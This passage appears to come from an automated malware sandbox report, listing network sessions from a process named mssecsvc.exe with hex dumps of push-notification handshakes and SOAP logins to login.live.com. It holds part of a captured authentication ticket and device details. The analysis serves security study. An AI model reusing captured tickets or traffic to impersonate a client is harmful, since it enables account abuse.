ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/app

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	50207	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:22 UTC	164	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 66 33 32 39 34 33 39 35 62 39 64 62 39 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 92f3294395b9db95
2022-07-21 02:34:22 UTC	164	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:22 UTC	164	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 66 33 32 39 34 33 39 35 62 39 64 62 39 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 92f3294395b9db95<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:34:22 UTC	165	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 66 33 32 39 34 33 39 35 62 39 64 62 39 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 92f3294395b9db95<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:34:22 UTC	165	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:22 UTC	165	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 4a 63 2b 47 4d 34 51 37 45 79 46 38 64 70 2b 30 42 2b 66 71 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yJc+GM4Q7EyF8dp+0B+fqw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	59616	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:37:26 UTC	9523	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 64 33 32 35 35 64 36 35 61 62 30 66 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: 5ad3255d65ab0fd
2022-07-21 02:37:26 UTC	9523	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:37:26 UTC	9523	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 64 33 32 35 35 64 36 35 61 62 30 66 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 4a Data Ascii: ATH 2 CON\DEVICE 1013Context: 5ad3255d65ab0fd<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaTJ
2022-07-21 02:37:26 UTC	9524	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 38 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 64 33 32 35 35 64 36 35 61 62 30 66 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 28Context: 5ad3255d65ab0fd
2022-07-21 02:37:26 UTC	9524	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:37:26 UTC	9524	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 4c 6b 65 2b 30 39 73 4e 45 4b 5a 47 6b 36 35 38 73 62 43 71 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xLke+09sNEKZGk658sbCqQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	64946	20.199.120.182	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:38:22 UTC	9525	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 66 38 36 62 32 62 31 61 32 33 35 37 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 9baf86b2b1a23570
2022-07-21 02:38:22 UTC	9525	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:38:22 UTC	9525	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 66 38 36 62 32 62 31 61 32 33 35 37 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 9baf86b2b1a23570<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:38:22 UTC	9526	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 66 38 36 62 32 62 31 61 32 33 35 37 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 9baf86b2b1a23570<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:38:22 UTC	9526	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:38:22 UTC	9526	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 70 59 73 30 47 5a 47 63 30 61 69 63 4e 4d 79 4a 74 58 4b 57 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zpYs0GZGc0aicNMyJtXKWQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	65197	20.190.159.68	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:38:24 UTC	9526	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-21 02:38:24 UTC	9526	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:38:24 UTC	9546	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:37:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 67a5efd9-0eae-4903-aab0-f0c7981d44ee PPServer: PPV: 30 H: BL02PF9045EAAA3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:38:23 GMT Connection: close Content-Length: 10109
2022-07-21 02:38:24 UTC	9547	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	65198	20.190.159.68	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:38:24 UTC	9531	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-21 02:38:24 UTC	9531	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:38:24 UTC	9536	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:37:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 7154814c-a7fc-430c-8192-aadaeead7b53 PPServer: PPV: 30 H: BL02EPF000066B2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:38:23 GMT Connection: close Content-Length: 10109
2022-07-21 02:38:24 UTC	9537	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	65323	20.190.159.68	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:38:25 UTC	9557	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-21 02:38:25 UTC	9557	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:38:25 UTC	9562	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:37:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 06db211c-bb18-4ea5-8ded-34321880fb74 PPServer: PPV: 30 H: BL02PF60AA72366 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:38:24 GMT Connection: close Content-Length: 10109
2022-07-21 02:38:25 UTC	9562	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	50209	204.79.197.200	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
